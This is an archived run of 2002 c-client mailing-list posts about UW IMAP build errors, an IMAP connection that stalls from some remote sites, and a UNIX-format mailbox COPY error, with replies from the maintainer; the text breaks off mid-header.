    #make lrh
    ...
    osdep.c:128: 'PAM_ESTABLISHED_CRED'=20 undeclared (first use in this function)
    osdep.c:130: = 'PAM_DELETE_CRED'=20 undeclared (first use in this function)
    osdep.c:131: 'PAM_AUTH_ERR'=20 undeclared (first use in this function)
    make[3]: *** [osdep.o] Error=20 1
    make[3]: Leaving directory '/tmp/imap-2001a/c-client'
    make[2]: = *** [lnp]=20 Error 2
    make[2]: Leaving directory = '/tmp/imap-2001a/c-client'
    make[1]: ***=20 [OSTYPE] Error 2
    make[1]: Leaving directory=20 '/tmp/imap-2001a/c-client'
    make: *** [lrh] Error 2
     
    Please help me!!!!
    Thanks
     
    Elvis
    ------=_NextPart_000_0008_01C21DFF.9B920820-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Jul 3 10:26:43 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 3 Jul 2002 10:26:43 -0700 (PDT) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g63HQh2P011950 for ; Wed, 3 Jul 2002 10:26:43 -0700 Received: FROM mx2.cac.washington.edu BY mailscan1.cac.washington.edu ; Wed Jul 03 10:26:41 2002 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g63HQdvm010337 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 3 Jul 2002 10:26:40 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g63HQ1R8028228; Wed, 3 Jul 2002 10:26:01 -0700 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g63HJfNn046312 for ; Wed, 3 Jul 2002 10:19:42 -0700 Received: FROM mxu1.u.washington.edu BY mailscan1.cac.washington.edu ; Wed Jul 03 10:19:40 2002 -0700 Received: from shame.radiotope.com (ool-18b898bc.dyn.optonline.net [24.184.152.188]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g63HJeR8012886 for ; Wed, 3 Jul 2002 10:19:40 -0700 Received: from [192.168.100.20] ([192.168.100.1]) (authenticated) by shame.radiotope.com (8.11.6/8.11.6) with ESMTP id g63HJYj09499 for ; Wed, 3 Jul 2002 13:19:35 -0400 Message-Id: Date: Wed, 03 Jul 2002 13:19:42 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Edward Marczak To: Subject: IMAP 'Stalling' In-Reply-To: Mime-version: 1.0 Content-type: text/plain; charset="US-ASCII" Content-transfer-encoding: 7bit X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Here's something that's vexing me..... I'm running imap2001a on a RedHat 7.2 box. IMAP (specifically, port 143) is accessible on it's local LAN, and over the Internet. Local users have no problem with accessing IMAP (both shell and from other machines). Most remote users can connect with no problem. I have some users that can't access mail remotely using IMAP. Now, the thing about the sites that can't access mail from this box....they can access other servers running UW-IMAP at other locations. If I trace packets on the problem sites (using ethereal from the host), I get: 0.000000 client -> server TCP 50808 > imap [SYN] Seq=3776413896 Ack=0 Win=32768 Len=0 0.000000 server -> client TCP imap > 50808 [SYN, ACK] Seq=2554725386 Ack=3776413897 Win=5840 Len=0 0.040000 client -> server TCP 50808 > imap [ACK] Seq=3776413897 Ack=2554725387 Win=32768 Len=0 30.050000 server -> client IMAP Response: * OK [CAPABILITY IMAP4REV1 LOGIN-REFERRALS STARTTLS AUTH=LOGIN] server IMAP4rev1 2001.315rh at Wed, 3 Jul 2002 12:53:58 -0400 (EDT) 33.050000 server -> client IMAP Response: * OK [CAPABILITY IMAP4REV1 LOGIN-REFERRALS STARTTLS AUTH=LOGIN] server IMAP4rev1 2001.315rh at Wed, 3 Jul 2002 12:53:58 -0400 (EDT) 39.050000 server -> client IMAP Response: * OK [CAPABILITY IMAP4REV1 LOGIN-REFERRALS STARTTLS AUTH=LOGIN] server IMAP4rev1 2001.315rh at Wed, 3 Jul 2002 12:53:58 -0400 (EDT) 51.050000 server -> client IMAP Response: * OK [CAPABILITY IMAP4REV1 LOGIN-REFERRALS STARTTLS AUTH=LOGIN] server IMAP4rev1 2001.315rh at Wed, 3 Jul 2002 12:53:58 -0400 (EDT) 75.050000 server -> client IMAP Response: * OK [CAPABILITY IMAP4REV1 LOGIN-REFERRALS STARTTLS AUTH=LOGIN] server IMAP4rev1 2001.315rh at Wed, 3 Jul 2002 12:53:58 -0400 (EDT) 123.050000 server -> client IMAP Response: * OK [CAPABILITY IMAP4REV1 LOGIN-REFERRALS STARTTLS AUTH=LOGIN] server IMAP4rev1 2001.315rh at Wed, 3 Jul 2002 12:53:58 -0400 (EDT) 210.150000 server -> client IMAP Response: * BYE Autologout; idle for too long Of course, names have been changed to protect the innocent. So basically, they connect, but then the server just keeps sending out OK.... I initially figured it was just some weird routing thing, but, from a site that's not working, if I open a shell and connect manually, I can! Witness: [blah@shame blah]# telnet server 143 Trying x.x.x.x... Connected to server. Escape character is '^]'. * OK [CAPABILITY IMAP4REV1 LOGIN-REFERRALS STARTTLS AUTH=LOGIN] server IMAP4rev1 2001.315rh at Wed, 3 Jul 2002 13:00:55 -0400 (EDT) * BAD Null command 01 login someuser somepass 01 OK [CAPABILITY IMAP4REV1 IDLE NAMESPACE MAILBOX-REFERRALS SCAN SORT THREAD=REFERENCES THREAD=ORDEREDSUBJECT MULTIAPPEND] User someuser authenticated (names again changed) Hmmmmmmmm. So I tried changing clients. I've tried Outlook, Netscape, and yes, Pine. None connect. All exhibit the symptoms above. Anybody know what this is indicative of, or something else I do to troubleshoot? Thanks! -- Ed Marczak marczak@usa.net -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Jul 3 11:00:41 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 3 Jul 2002 11:00:41 -0700 (PDT) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g63I0f2P015445 for ; Wed, 3 Jul 2002 11:00:41 -0700 Received: FROM mx1.cac.washington.edu BY mailscan4.cac.washington.edu ; Wed Jul 03 11:00:40 2002 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g63I0bot025098 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 3 Jul 2002 11:00:38 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g63Hxdqt019232; Wed, 3 Jul 2002 10:59:39 -0700 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g63HiYNn011618 for ; Wed, 3 Jul 2002 10:44:34 -0700 Received: FROM mxu3.u.washington.edu BY mailscan1.cac.washington.edu ; Wed Jul 03 10:44:34 2002 -0700 Received: from Ikkoku-Kan.Panda.COM (ikkoku-kan.panda.com [206.124.149.114] (may be forged)) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g63HiXbq031995 for ; Wed, 3 Jul 2002 10:44:33 -0700 Received: from Ikkoku-Kan.Panda.COM (Ikkoku-Kan.Panda.COM [192.107.14.50]) by Ikkoku-Kan.Panda.COM id KAA21701; Wed, 3 Jul 2002 10:44:26 -0700 (PDT) Message-Id: Date: Wed, 3 Jul 2002 10:31:37 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Edward Marczak Cc: c-client@u.washington.edu Subject: re: IMAP 'Stalling' In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN It is good that you tried Pine. Try getting a Pine telemetry with "pine -d imap=4". That will tell you what the client is seeing in the .pine-debug[1-4] file. Try running unmodified UW imapd in case there is a bug introduced by a RedHat modification. Try some other network trace tools. Is the IMAP server *really* sending the initial OK multiple times? Or are you seeing retransmissions from the server TCP, and the client TCP is never acknowledging them? If the Pine log shows that it never got anything from the server, it suggests the latter. If the latter (and that's what I suspect), then the problem is more low-level than IMAP. This means that you have a network connectivity issue, not an IMAP issue. Unfortunately, these sorts of problems are difficult to resolve without a low-level packet trace and someone who can interpret the packet trace correctly. From pinedev@shivax2.cac.washington.edu Wed Jul 3 11:55:20 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 3 Jul 2002 11:55:20 -0700 (PDT) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g63ItK2P018401 for ; Wed, 3 Jul 2002 11:55:20 -0700 Received: FROM mx2.cac.washington.edu BY mailscan5.cac.washington.edu ; Wed Jul 03 11:55:19 2002 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g63ItHYD013504 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 3 Jul 2002 11:55:17 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g63IsNR8031130; Wed, 3 Jul 2002 11:54:23 -0700 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g63Io7Nn038668 for ; Wed, 3 Jul 2002 11:50:07 -0700 Received: FROM mxu2.u.washington.edu BY mailscan2.cac.washington.edu ; Wed Jul 03 11:50:07 2002 -0700 Received: from shame.radiotope.com (ool-18b898bc.dyn.optonline.net [24.184.152.188]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g63Io6JX001447 for ; Wed, 3 Jul 2002 11:50:06 -0700 Received: from [192.168.100.20] ([192.168.100.1]) (authenticated) by shame.radiotope.com (8.11.6/8.11.6) with ESMTP id g63Io0K09804; Wed, 3 Jul 2002 14:50:00 -0400 Message-Id: Date: Wed, 03 Jul 2002 14:50:10 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Edward Marczak To: Mark Crispin Cc: Subject: Re: IMAP 'Stalling' In-Reply-To: Mime-version: 1.0 Content-type: text/plain; charset="US-ASCII" Content-transfer-encoding: 7bit X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On 7/3/02 1:31 PM, "Mark Crispin" wrote: > It is good that you tried Pine. > > Try getting a Pine telemetry with "pine -d imap=4". That will tell you what > the client is seeing in the .pine-debug[1-4] file. That basically tells me that, "Operation timed out." > Try running unmodified UW imapd in case there is a bug introduced by a RedHat > modification. That's what I have on there now....no joy. > Try some other network trace tools. I can ping the routers at each location (from the other). I can even send mail from the sites that can't access IMAP, using sendmail (with authentication) running on that same server. I can ssh into it, too. Just IMAP seems to fail. > Is the IMAP server *really* sending the > initial OK multiple times? Or are you seeing retransmissions from the server > TCP, and the client TCP is never acknowledging them? Hmmmmm. Could be. > If the Pine log shows that it never got anything from the server, it suggests > the latter. > > If the latter (and that's what I suspect), then the problem is more low-level > than IMAP. This means that you have a network connectivity issue, not an IMAP > issue. Unfortunately, these sorts of problems are difficult to resolve > without a low-level packet trace and someone who can interpret the packet > trace correctly. Yeah - I'm trying all avenues here. Initially, I wanted to rule out IMAP because others can access it. But now that I see the problem sites can bounce mail across sendmail, use ssh *and* login manually, I can't figure out a routing issue that would be so selective. As always, thanks for your help. If you happen to come up with anything, let me know. Thanks again. -- Ed Marczak marczak@usa.net From pinedev@shivax2.cac.washington.edu Wed Jul 3 11:59:42 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 3 Jul 2002 11:59:42 -0700 (PDT) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g63Ixf2P018562 for ; Wed, 3 Jul 2002 11:59:41 -0700 Received: FROM mx1.cac.washington.edu BY mailscan3.cac.washington.edu ; Wed Jul 03 11:59:40 2002 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g63Ixbot027392 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 3 Jul 2002 11:59:38 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g63IwvlZ023696; Wed, 3 Jul 2002 11:58:57 -0700 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g63IuENn034190 for ; Wed, 3 Jul 2002 11:56:14 -0700 Received: FROM mxu4.u.washington.edu BY mailscan3.cac.washington.edu ; Wed Jul 03 11:56:13 2002 -0700 Received: from Ikkoku-Kan.Panda.COM (ikkoku-kan.panda.com [206.124.149.114] (may be forged)) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g63IuAlq008512 for ; Wed, 3 Jul 2002 11:56:11 -0700 Received: from Ikkoku-Kan.Panda.COM (Ikkoku-Kan.Panda.COM [192.107.14.50]) by Ikkoku-Kan.Panda.COM id LAA21836; Wed, 3 Jul 2002 11:56:01 -0700 (PDT) Message-Id: Date: Wed, 3 Jul 2002 11:51:08 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Edward Marczak Cc: c-client@u.washington.edu Subject: Re: IMAP 'Stalling' In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 03 Jul 2002 14:50:10 -0400, Edward Marczak wrote: > > Try getting a Pine telemetry with "pine -d imap=4". > That basically tells me that, "Operation timed out." What are the exact messages (no paraphrasing)? > > Try running unmodified UW imapd in case there is a bug introduced by a > > RedHat modification. > That's what I have on there now....no joy. So you replaced your RedHat-modified imapd in the example you posted with an unmodified UW imapd? > I can ping the routers at each location (from the other). I can even send > mail from the sites that can't access IMAP, using sendmail (with > authentication) running on that same server. I can ssh into it, too. Just > IMAP seems to fail. Is there a NAT box in the path that may be interpreting IMAP? If the client is Windows based, is there virus-scanning software on the client that may be interpreting IMAP? Not long ago, I had a strange SMTP problem that turned out to be due to Norton Anti-Virus on the affected PC. The perceived problem at the client was that the SMTP server advertised STARTTLS, but then refused to do the command. It turned out that Norton was to blame. From pinedev@shivax2.cac.washington.edu Fri Jul 5 08:07:39 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 5 Jul 2002 08:07:39 -0700 (PDT) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g65F7d2P013870 for ; Fri, 5 Jul 2002 08:07:39 -0700 Received: FROM mx2.cac.washington.edu BY mailscan4.cac.washington.edu ; Fri Jul 05 08:07:38 2002 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g65F7bYD000460 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 5 Jul 2002 08:07:38 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g65F6nqt021522; Fri, 5 Jul 2002 08:06:49 -0700 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g65F2uNn038734 for ; Fri, 5 Jul 2002 08:02:56 -0700 Received: FROM mxu4.u.washington.edu BY mailscan5.cac.washington.edu ; Fri Jul 05 08:02:56 2002 -0700 Received: from shame.radiotope.com (ool-18b898bc.dyn.optonline.net [24.184.152.188]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g65F2tlq007138 for ; Fri, 5 Jul 2002 08:02:55 -0700 Received: from usa.net ([192.168.100.65]) (authenticated) by shame.radiotope.com (8.11.6/8.11.6) with ESMTP id g65F2oK24900; Fri, 5 Jul 2002 11:02:50 -0400 Message-Id: <3D25B51B.7000301@usa.net> Date: Fri, 05 Jul 2002 11:02:51 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Edward Marczak To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: IMAP 'Stalling' References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mark Crispin wrote: > What are the exact messages (no paraphrasing)? About to open folder "INBOX" inbox: "INBOX" IMAP 10:54:43 7/5 mm_log babble: Trying IP address [ip.ad.dr.es] IMAP 10:55:13 7/5 mm_log ERROR: Connection failed to server.example.com,143: Operation timed out > So you replaced your RedHat-modified imapd in the example you posted with an > unmodified UW imapd? Yes. >>I can ping the routers at each location (from the other). I can even send >>mail from the sites that can't access IMAP, using sendmail (with >>authentication) running on that same server. I can ssh into it, too. Just >>IMAP seems to fail. >> > > Is there a NAT box in the path that may be interpreting IMAP? There are NAT boxes, certainly. But I have good sites working with NAT, too. Nothing that should be 'interpreting IMAP'. > If the client is Windows based, is there virus-scanning software on the client > that may be interpreting IMAP? > > Not long ago, I had a strange SMTP problem that turned out to be due to Norton > Anti-Virus on the affected PC. The perceived problem at the client was that > the SMTP server advertised STARTTLS, but then refused to do the command. It > turned out that Norton was to blame. Mark, you're too busy to be dealing with this, really. I'm in agreement with you: I don't think uw-imap is at fault. But to answer your question, I've tried Win with Netscape and OE, Mac (9 and OSX) and Linux with pine. Doesn't change the scenario. Thanks again for all of your help! -- Ed Marczak marczak@usa.net From pinedev@shivax2.cac.washington.edu Fri Jul 5 14:29:40 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 5 Jul 2002 14:29:40 -0700 (PDT) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g65LTd2P027475 for ; Fri, 5 Jul 2002 14:29:40 -0700 Received: FROM mx2.cac.washington.edu BY mailscan5.cac.washington.edu ; Fri Jul 05 14:29:39 2002 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g65LTcYD010137 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 5 Jul 2002 14:29:38 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g65LSveo090038; Fri, 5 Jul 2002 14:28:57 -0700 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g65LOgNn022722 for ; Fri, 5 Jul 2002 14:24:42 -0700 Received: FROM mxu1.u.washington.edu BY mailscan5.cac.washington.edu ; Fri Jul 05 14:24:41 2002 -0700 Received: from mserve1.acs.ucalgary.ca (mserve1.acs.ucalgary.ca [136.159.34.51]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g65LOfR8003961 for ; Fri, 5 Jul 2002 14:24:41 -0700 Received: from vs2.acs.ucalgary.ca (vs2.acs.ucalgary.ca [136.159.34.109]) by mserve1.acs.ucalgary.ca (Postfix) with ESMTP id DC9B71360; Fri, 5 Jul 2002 15:24:39 -0600 (MDT) Received: from ucalgary.ca (mserve2.acs.ucalgary.ca [136.159.34.55]) by vs2.acs.ucalgary.ca (8.11.6/8.11.6) with ESMTP id g65LLcS29306; Fri, 5 Jul 2002 15:21:38 -0600 Received: from teale.acs.ucalgary.ca(136.159.22.142) by mserve2.acs.ucalgary.ca via smap (V2.0) id ZZ324282; Fri, 5 Jul 2002 15:23:25 -0600 Message-Id: <3D260E47.1C830832@ucalgary.ca> Date: Fri, 05 Jul 2002 15:23:19 -0600 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Deb Teale To: c-client@u.washington.edu Subject: Unix-format mbox problem when no /var/spool/mail entry References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Accept-Language: en,fr-CA X-MailScanner: Found to be clean X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN We have moved away from /var/spool/mail inboxes to home directory mboxes but still have a /var/spool/mail entry for few people using filter. This works fine for reading the mbox directly from home directory and for merging /var/spool/mail messages to mbox. But fails for the case of writing a message back to INBOX either with Netscape or Pine if the user does not have an entry in /var/spool/mail. It may be that it tries to write to /var/spool/mail and if an entry isn't there it fails NO COPY failed: Not a UNIX-format mailbox: inbox after 81 messages. (Users would like to pull Trash messages back to INBOX is the problem I am looking at solving). Has anyone seen this and have a solution? Don't want to keep an entry for 50000 when only 70 people need one. Thanks, Deb Teale -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Jul 5 14:40:32 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 5 Jul 2002 14:40:32 -0700 (PDT) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g65LeV2P027814 for ; Fri, 5 Jul 2002 14:40:31 -0700 Received: FROM mx1.cac.washington.edu BY mailscan5.cac.washington.edu ; Fri Jul 05 14:40:31 2002 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g65LeUot024323 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 5 Jul 2002 14:40:31 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g65Ldwqt017280; Fri, 5 Jul 2002 14:39:58 -0700 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g65LaBNn011916 for ; Fri, 5 Jul 2002 14:36:12 -0700 Received: FROM mxu1.u.washington.edu BY mailscan3.cac.washington.edu ; Fri Jul 05 14:36:11 2002 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g65LaBR9005726 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 5 Jul 2002 14:36:11 -0700 Received: from mailscan-out3.cac.washington.edu (mailscan-out3.cac.washington.edu [140.142.32.18]) by mxout2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g65LaBej014619 for ; Fri, 5 Jul 2002 14:36:11 -0700 Received: FROM smtp.washington.edu BY mailscan-out3.cac.washington.edu ; Fri Jul 05 14:36:10 2002 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g65LaATb031393 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Fri, 5 Jul 2002 14:36:10 -0700 Message-Id: Date: Fri, 5 Jul 2002 14:36:10 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Deb Teale Cc: c-client@u.washington.edu Subject: Re: Unix-format mbox problem when no /var/spool/mail entry In-Reply-To: <3D260E47.1C830832@ucalgary.ca> References: <3D260E47.1C830832@ucalgary.ca> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 5 Jul 2002, Deb Teale wrote: > It may be that it tries to > write to /var/spool/mail and if an entry isn't there it fails NO COPY > failed: Not a UNIX-format mailbox: inbox after 81 messages. That error message generally means that the user's UNIX-format INBOX file exists, but it is not in proper traditional UNIX mail format. So, when that happens, you should investigate to see what the mail file looks like. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Mon Jul 8 08:34:20 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 8 Jul 2002 08:34:20 -0700 (PDT) Return-Path: Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g68FYK2P009943 for ; Mon, 8 Jul 2002 08:34:20 -0700 Received: FROM mx1.cac.washington.edu BY mailscan6.cac.washington.edu ; Mon Jul 08 08:34:19 2002 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g68FYFot001162 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 8 Jul 2002 08:34:16 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g68FX8lZ005782; Mon, 8 Jul 2002 08:33:09 -0700 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g68FUJNn067252 for ; Mon, 8 Jul 2002 08:30:19 -0700 Received: FROM mxu1.u.washington.edu BY mailscan4.cac.washington.edu ; Mon Jul 08 08:30:18 2002 -0700 Received: from mserve1.acs.ucalgary.ca (mserve1.acs.ucalgary.ca [136.159.34.51]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g68FUIR8022815 for ; Mon, 8 Jul 2002 08:30:18 -0700 Received: from vs2.acs.ucalgary.ca (vs2.acs.ucalgary.ca [136.159.34.109]) by mserve1.acs.ucalgary.ca (Postfix) with ESMTP id 11F591328; Mon, 8 Jul 2002 09:30:13 -0600 (MDT) Received: from ucalgary.ca (mserve2.acs.ucalgary.ca [136.159.34.55]) by vs2.acs.ucalgary.ca (8.11.6/8.11.6) with ESMTP id g68FR4S32073; Mon, 8 Jul 2002 09:27:04 -0600 Received: from teale.acs.ucalgary.ca(136.159.22.142) by mserve2.acs.ucalgary.ca via smap (V2.0) id ZZ004299; Mon, 8 Jul 2002 09:29:11 -0600 Message-Id: <3D29AFBD.557395D8@ucalgary.ca> Date: Mon, 08 Jul 2002 09:29:01 -0600 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Deb Teale To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: Unix-format mbox problem when no /var/spool/mail entry References: <3D260E47.1C830832@ucalgary.ca> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Accept-Language: en,fr-CA X-MailScanner: Found to be clean X-Listprocessor-Version: 